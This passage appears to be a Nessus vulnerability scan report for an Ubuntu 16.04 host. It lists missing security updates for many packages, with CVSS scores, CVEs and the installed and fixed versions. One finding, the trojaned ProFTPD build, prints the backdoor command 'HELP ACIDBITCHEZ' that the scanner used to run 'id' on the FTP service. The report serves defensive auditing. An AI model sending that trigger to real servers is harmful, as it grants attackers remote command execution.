9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0015

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-3520
XREF	USN:4968-2

Plugin Information

Published: 2021/06/11, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : liblz4-1_0.0~r131-2ubuntu2
- Fixed package : liblz4-1_0.0~r131-2ubuntu2+esm1
```

169707 - Ubuntu 16.04 ESM : Libksba vulnerability (USN-5787-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5787-2 advisory.

USN-5787-1 fixed vulnerabilities in Libksba. This update provides the corresponding updates for Ubuntu 16.04 ESM and Ubuntu 14.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5787-2

Solution

Update the affected libksba-dev and / or libksba8 packages.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0184

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-47629

XREF USN:5787-2
XREF IAVA:2023-A-0072

Plugin Information

Published: 2023/01/09, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libksba8_1.3.3-1ubuntu0.16.04.1
- Fixed package : libksba8_1.3.3-1ubuntu0.16.04.1+esm2
```

161170 - Ubuntu 16.04 ESM : Rsyslog vulnerabilities (USN-5419-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5419-1 advisory.

It was discovered that Rsyslog improperly handled certain invalid input. An attacker could use this issue to cause Rsyslog to crash.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5419-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0189

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2018-16881
CVE CVE-2019-17041
CVE CVE-2019-17042

XREF USN:5419-1

Plugin Information

Published: 2022/05/13, Modified: 2024/09/19

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : rsyslog_8.16.0-1ubuntu3
- Fixed package : rsyslog_8.16.0-1ubuntu3.1+esm1
```

161690 - Ubuntu 16.04 ESM : dpkg vulnerability (USN-5446-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5446-2 advisory.

USN-5446-1 fixed a vulnerability in dpkg. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5446-2

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0045

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2022-1664
XREF USN:5446-2

Plugin Information

Published: 2022/05/31, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : dpkg_1.18.4ubuntu1.2
- Fixed package : dpkg_1.18.4ubuntu1.7+esm1

- Installed package : dpkg-dev_1.18.4ubuntu1.2
- Fixed package : dpkg-dev_1.18.4ubuntu1.7+esm1

- Installed package : libdpkg-perl_1.18.4ubuntu1.2
- Fixed package : libdpkg-perl_1.18.4ubuntu1.7+esm1
```

160724 - Ubuntu 16.04 ESM : jbig2dec vulnerabilities (USN-5405-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5405-1 advisory.

It was discovered that jbig2dec incorrectly handled memory when parsing invalid files. An attacker could use this issue to cause jbig2dec to crash, leading to a denial of service. (CVE-2017-9216)

It was discovered that jbig2dec incorrectly handled memory when processing untrusted input. An attacker could use this issue to cause a denial of service, or possibly execute arbitrary code. (CVE-2020-12268)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5405-1

Solution

Update the affected jbig2dec, libjbig2dec0 and / or libjbig2dec0-dev packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0041

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-9216
CVE	CVE-2020-12268
XREF	USN:5405-1

Plugin Information

Published: 2022/05/09, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libjbig2dec0_0.12+20150918-1ubuntu0.1
- Fixed package : libjbig2dec0_0.12+20150918-1ubuntu0.1+esm2
```

161452 - Ubuntu 16.04 ESM : libXfixes vulnerability (USN-5437-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5437-1 advisory.

Tobias Stoeckmann discovered that libXfixes incorrectly handled certain inputs. An attacker could possibly use this issue to cause a denial of service, or possibly execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5437-1

Solution

Update the affected libxfixes-dev and / or libxfixes3 packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0078

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2016-7944
XREF	USN:5437-1

Plugin Information

Published: 2022/05/24, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libxfixes3_1:5.0.1-2
- Fixed package : libxfixes3_1:5.0.1-2ubuntu0.1~esm1
```

161330 - Ubuntu 16.04 ESM : libXrandr vulnerabilities (USN-5428-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5428-1 advisory.

Tobias Stoeckmann discovered that libXrandr incorrectly handled certain responses. An attacker could possibly use this issue to cause a denial of service, or possibly execute arbitrary code. (CVE-2016-7947, CVE-2016-7948)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5428-1

Solution

Update the affected libxrandr-dev and / or libxrandr2 packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0288

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2016-7947
CVE	CVE-2016-7948
XREF	USN:5428-1

Plugin Information

Published: 2022/05/18, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.
```

```
- Installed package : libxrandr2_2:1.5.0-1
- Fixed package : libxrandr2_2:1.5.0-1ubuntu0.1~esm1
```

161450 - Ubuntu 16.04 ESM : libXrender vulnerabilities (USN-5436-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5436-1 advisory.

Tobias Stoeckmann discovered that libXrender incorrectly handled certain responses. An attacker could possibly use this issue to cause a denial of service, or possibly execute arbitrary code. (CVE-2016-7949, CVE-2016-7950)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5436-1

Solution

Update the affected libxrender-dev and / or libxrender1 packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0434

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2016-7949
CVE	CVE-2016-7950
XREF	USN:5436-1

Plugin Information

Published: 2022/05/24, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libxrender1_1:0.9.9-0ubuntu1
- Fixed package : libxrender1_1:0.9.9-0ubuntu1+esm1
```

161630 - Ubuntu 16.04 ESM : libXv vulnerability (USN-5449-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5449-1 advisory.

It was discovered that libXv incorrectly handled certain inputs. An attacker could possibly use this issue to cause a denial of service, or possibly execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5449-1

Solution

Update the affected libxv-dev and / or libxv1 packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0179

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2016-5407
XREF	USN:5449-1

Plugin Information

Published: 2022/05/27, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libxv1_2:1.0.10-1
- Fixed package : libxv1_2:1.0.10-1ubuntu0.16.04.1~esm1
```

150492 - Ubuntu 16.04 ESM : libwebp vulnerabilities (USN-4971-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-4971-2 advisory.

USN-4971-1 fixed several vulnerabilities in libwebp. This update provides the corresponding update for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-4971-2

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0079

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2018-25009
CVE	CVE-2018-25010
CVE	CVE-2018-25011
CVE	CVE-2018-25012
CVE	CVE-2018-25013
CVE	CVE-2018-25014
CVE	CVE-2020-36328
CVE	CVE-2020-36329
CVE	CVE-2020-36330
CVE	CVE-2020-36331
XREF	USN:4971-2

Plugin Information

Published: 2021/06/10, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libwebp5_0.4.4-1
- Fixed package : libwebp5_0.4.4-1ubuntu0.1~esm1

- Installed package : libwebpmux1_0.4.4-1
- Fixed package : libwebpmux1_0.4.4-1ubuntu0.1~esm1
```

161634 - Ubuntu 16.04 ESM : ncurses vulnerabilities (USN-5448-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5448-1 advisory.

It was discovered that ncurses was not properly checking array bounds when executing the fmt_entry function, which could result in an out-of-bounds write. An attacker could possibly use this issue to execute arbitrary code. (CVE-2017-10684)

It was discovered that ncurses was not properly checking user input, which could result in it being treated as a format argument. An attacker could possibly use this issue to expose sensitive information or to execute arbitrary code. (CVE-2017-10685)

It was discovered that ncurses was incorrectly performing memory management operations and was not blocking access attempts to illegal memory locations. An attacker could possibly use this issue to cause a denial of service. (CVE-2017-11112, CVE-2017-13729, CVE-2017-13730, CVE-2017-13731, CVE-2017-13732, CVE-2017-13733, CVE-2017-13734)

It was discovered that ncurses was not properly performing checks on pointer values before attempting to access the related memory locations, which could lead to NULL pointer dereferencing. An attacker could possibly use this issue to cause a denial of service. (CVE-2017-11113)

It was discovered that ncurses was incorrectly handling loops in libtic, which could lead to the execution of an infinite loop. An attacker could possibly use this issue to cause a denial of service.
(CVE-2017-13728)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5448-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0064

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-10684
CVE	CVE-2017-10685
CVE	CVE-2017-11112
CVE	CVE-2017-11113
CVE	CVE-2017-13728
CVE	CVE-2017-13729
CVE	CVE-2017-13730
CVE	CVE-2017-13731

CVE	CVE-2017-13732
CVE	CVE-2017-13733
CVE	CVE-2017-13734
XREF	USN:5448-1

Plugin Information

Published: 2022/05/27, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libncurses5_6.0+20160213-1ubuntu1
- Fixed package : libncurses5_6.0+20160213-1ubuntu1+esm1

- Installed package : libncursesw5_6.0+20160213-1ubuntu1
- Fixed package : libncursesw5_6.0+20160213-1ubuntu1+esm1

- Installed package : libtinfo5_6.0+20160213-1ubuntu1
- Fixed package : libtinfo5_6.0+20160213-1ubuntu1+esm1

- Installed package : ncurses-base_6.0+20160213-1ubuntu1
- Fixed package : ncurses-base_6.0+20160213-1ubuntu1+esm1

- Installed package : ncurses-bin_6.0+20160213-1ubuntu1
- Fixed package : ncurses-bin_6.0+20160213-1ubuntu1+esm1

- Installed package : ncurses-term_6.0+20160213-1ubuntu1
- Fixed package : ncurses-term_6.0+20160213-1ubuntu1+esm1
```

141301 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : Vino vulnerabilities (USN-4573-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-4573-1 advisory.

Nicolas Ruff discovered that Vino incorrectly handled large ClientCutText messages. A remote attacker could use this issue to cause the server to crash, resulting in a denial of service. (CVE-2014-6053)

It was discovered that Vino incorrectly handled certain packet lengths. A remote attacker could possibly use this issue to obtain sensitive information, cause a denial of service, or execute arbitrary code.
(CVE-2018-7225)

Pavel Cheremushkin discovered that an information disclosure vulnerability existed in Vino when sending a ServerCutText message. An attacker could possibly use this issue to expose sensitive information.
(CVE-2019-15681)

It was discovered that Vino incorrectly handled region clipping. A remote attacker could possibly use this issue to cause Vino to crash, resulting in a denial of service. (CVE-2020-14397)

It was discovered that Vino incorrectly handled encodings. A remote attacker could use this issue to cause Vino to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2020-14402, CVE-2020-14403, CVE-2020-14404)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-4573-1

Solution

Update the affected vino package.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.3686

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	70092
BID	103107
CVE	CVE-2014-6053
CVE	CVE-2018-7225
CVE	CVE-2019-15681
CVE	CVE-2020-14397
CVE	CVE-2020-14402
CVE	CVE-2020-14403
CVE	CVE-2020-14404
XREF	USN:4573-1

Plugin Information

Published: 2020/10/08, Modified: 2024/08/27

Plugin Output

tcp/0

```
- Installed package : vino_3.8.1-0ubuntu9.2
- Fixed package : vino_3.8.1-0ubuntu9.3
```

50989 - ProFTPD Compromised Source Packages Trojaned Distribution -

Synopsis

The FTP server contains a backdoor allowing execution of arbitrary code.

Description

The remote host is using ProFTPD, a free FTP server for Unix and Linux.

The version of ProFTPD installed on the remote host has been compiled with a backdoor in 'src/help.c', apparently related to a compromise of the main distribution server for the ProFTPD project on the 28th of November 2010 around 20:00 UTC and not addressed until the 2nd of December 2010.

By sending a special HELP command, an unauthenticated, remote attacker can gain a shell and execute arbitrary commands with system privileges.

Note that the compromised distribution file also contained code that ran as part of the initial configuration step and sent a special HTTP request to a server in Saudi Arabia. If this install was built from source, you should assume that the author of the backdoor is already aware of it.

See Also

https://www.theregister.co.uk/2010/12/02/proftpd_backdoored/
https://xorl.wordpress.com/2010/12/02/news-proftpd-owned-and-backdoored/
http://www.nessus.org/u?74de525d

Solution

Reinstall the host from known, good sources.

Risk Factor

Critical

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	45150
XREF	EDB-ID:15662

Exploitable With

Metasploit (true)

Plugin Information

Published: 2010/12/06, Modified: 2020/03/27

Plugin Output

tcp/21/ftp

```
Nessus was able to exploit the issue to execute the command 'id'
on the remote host using the following FTP commands :

- HELP ACIDBITCHEZ
id;
```

201111 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS : libcdio vulnerability (USN-6855-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-6855-1 advisory.

Mansour Gashasbi discovered that libcdio incorrectly handled certain memory operations when parsing an ISO file, leading to a buffer overflow vulnerability. An attacker could use this to cause a denial of service

or possibly execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6855-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.4 (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.6 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0008

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2024-36600
XREF	USN:6855-1

Plugin Information

Published: 2024/06/27, Modified: 2025/06/23

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libcdio-cdda1_0.83-4.2ubuntu1
- Fixed package : libcdio-cdda1_0.83-4.2ubuntu1+esm3

- Installed package : libcdio-paranoia1_0.83-4.2ubuntu1
- Fixed package : libcdio-paranoia1_0.83-4.2ubuntu1+esm3

- Installed package : libcdio13_0.83-4.2ubuntu1
- Fixed package : libcdio13_0.83-4.2ubuntu1+esm3
```

194474 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS. : less vulnerability (USN-6756-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS. host has a package installed that is affected by a vulnerability as referenced in the USN-6756-1 advisory.

It was discovered that less mishandled newline characters in file names. If a user or automated system were tricked into opening specially crafted files, an attacker could possibly use this issue to execute arbitrary commands on the host.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6756-1

Solution

Update the affected less package.

Risk Factor

High

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

7.3

EPSS Score

0.0019

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2024-32487
XREF	USN:6756-1

Plugin Information

Published: 2024/04/29, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : less_481-2.1ubuntu0.2
- Fixed package : less_481-2.1ubuntu0.2+esm2
```

237449 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS / 24.10 / 25.04 : Setuptools vulnerability (USN-7544-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS / 24.10 / 25.04 host has packages installed that are affected by a vulnerability as referenced in the USN-7544-1 advisory.

It was discovered that setuptools did not properly sanitize paths. An attacker could possibly use this issue to write files to arbitrary locations on the filesystem.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7544-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v4.0 Base Score

8.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0027

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:C/A:N)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2025-47273
XREF	USN:7544-1

Plugin Information

Published: 2025/05/29, Modified: 2025/05/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : python3-pkg-resources_20.7.0-1
- Fixed package : python3-pkg-resources_20.7.0-1ubuntu0.1~esm3
```

258124 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS / 25.04 : UDisks vulnerability (USN-7723-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS / 25.04 host has packages installed that are affected by a vulnerability as referenced in the USN-7723-1 advisory.

Michael Imfeld discovered that UDisks did not check the validity of input data correctly when handling files for loop devices. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7723-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H)

CVSS v3.0 Temporal Score

7.4 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

7.4

EPSS Score

0.0001

CVSS v2.0 Base Score

6.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:C)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2025-8067
XREF	USN:7723-1

Plugin Information

Published: 2025/08/29, Modified: 2025/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : gir1.2-udisks-2.0_2.1.7-1ubuntu1
- Fixed package : gir1.2-udisks-2.0_2.1.7-1ubuntu1+esm1

- Installed package : libudisks2-0_2.1.7-1ubuntu1
- Fixed package : libudisks2-0_2.1.7-1ubuntu1+esm1

- Installed package : udisks2_2.1.7-1ubuntu1
- Fixed package : udisks2_2.1.7-1ubuntu1+esm1
```

207058 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS : Setuptools vulnerability (USN-7002-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

